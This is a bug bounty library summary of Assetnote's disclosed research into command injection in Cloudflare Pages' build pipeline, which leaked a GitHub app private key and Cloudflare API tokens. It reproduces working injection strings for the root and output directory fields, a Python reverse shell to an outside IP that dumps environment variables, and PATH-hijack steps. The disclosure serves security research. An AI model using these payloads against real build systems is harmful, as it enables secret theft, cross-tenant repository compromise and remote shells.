# Cloudflare Pages, part 1: The fellowship of the secret

Command injection via unsanitized root_dir/output_dir in Cloudflare Pages build pipeline yielded GitHub private key granting read/write to all 18,290 users' repos.

- Payout: Research
- Severity: critical
- Program: Cloudflare
- Write-up by: Assetnote
- Disclosed: 2024-01-31
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/cloudflare-pages-part-1-the-fellowship-of-the-secret
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-cloudflare-pages-part-1-the-fellowship-of-the-secret
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:mass-exploit impact:privesc kind:research platform:research sev:critical tech:ci-cd technique:source-review vuln:command-injection vuln:secrets-leak

**Target:** Cloudflare Pages CI build environment (Azure DevOps pipelines)
**Root cause:** User-controlled root_dir and output_dir were interpolated into shell commands (mv, pages-metadata-generator) without escaping, and only client-side validation blocked special characters. World-writable binaries and PATH hijack compounded it.
**Steps:**
1. Configure Pages project build command to spawn reverse shell; observe process tree showing /__a/ and /__w/ Azure DevOps paths and /opt/pages/build_tools/build.sh
2. Read azure_pipelines.yml to map CLONE_REPO and PUBLISH_ASSETS steps holding GITHUB_PROD_PRIVATE_KEY and CF_PROD_API_TOKEN
3. Set root_dir to `f;env>/tmp/bar.txt;echo` after `mkdir -p` the same name so existence check passes; bypass client-side validation via Burp on project settings POST
4. Trigger build; base64/cat /tmp/bar.txt to dump env vars including GitHub private key
5. Validate key via GitHub API: read/write as cloudflare-pages app across all 18,290 users' repos
6. Second bug: set output_dir to `;bash /tmp/shell.sh;echo ` with matching mkdir to inject into pages-metadata-generator call, capturing Cloudflare API tokens
7. After fix, overwrite world-writable /opt/pages/bin/pages-metadata-generator (chmod 0777) with reverse-shell script to regain PUBLISH_ASSETS secrets
8. After that fix, drop malicious `bash` at /opt/buildhome/.swiftenv/bin/bash (persisted, prepended to PATH) to hijack later steps as AzDevops user with passwordless sudo
**How found:** Started by asking where builds run and how isolated; used arbitrary build command to get a reverse shell, inspected process tree for parent paths, then read azure_pipelines.yml to map which pipeline steps held secrets and targeted those steps' user-controlled inputs.
**Exploitation:** Attacker with a Pages project sets malicious build config, triggers build, and reads injected command output from build logs to exfiltrate env secrets. GitHub app private key gave cross-tenant repo access; Cloudflare API tokens gave access to Cloudflare's own Pages project.
**Escalation:** Chained command injection -> env var leak -> GitHub app private key (all-user repo access) and Cloudflare org API tokens; later PATH hijack escalated to AzDevops user with passwordless sudo (root in container).
**Insight:** In CI/build services, the build config itself is attacker-controlled code — map the pipeline YAML to find which steps hold secrets, then look for user-controlled inputs (root/output dirs) that reach shell commands in those privileged steps; also check world-writable binaries and PATH dirs that persist across steps.

## Proof of concept (copied exactly from the original report)

**Root dir command injection via mkdir bypass**

```
mkdir -p ‘f;env>/tmp/bar.txt;echo’ solved our problem allowing for this pass without any fanfare. This creates a directory with the same name as our command injection, so when the path is checked to see if it exists, it does. Now, the remainder of our shell injection will be allowed, and then executed.

The build directory pollution however broke the build. The checkout failed, so the build script was not present to be called later in the build. This was resolved by executing a command that did not rely upon anything in the repo. In our case, directly executing base64 /tmp/bar.txt or cat /tmp/bar.txt would work
```

**World-writable pages-metadata-generator overwrite payload**

```
#!/bin/bash
cp pages-metadata-generator /opt/pages/bin/pages-metadata-generatorpages-metadata-generator:
#!/bin/bash
echo "henlo fren"
export > /tmp/envvars
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.184.89.99",9448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

**PATH hijack via malicious bash binary**

```
PATH=/opt/buildhome/.swiftenv/bin:/opt/buildhome/.swiftenv/shims:/opt/buildhome/.php:/opt/buildhome/.binrc/bin:/usr/local/rvm/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/buildhome/.cask/bin:/opt/buildhome/.gimme/bin:/opt/buildhome/.dotnet/tools:/opt/buildhome/.dotnet

Additionally, commands run were all using just the bash command. Without an absolute path. This meant that if we were able to create a malicious bash binary, in one of these path locations, we would be able to break out of the build step once again. Thankfully, files created in the /opt/buildhome directory persist across task executions. Therefore, creating an executable at /opt/buildhome/.swiftenv/bin/bash allowed us to hijack future build steps
```

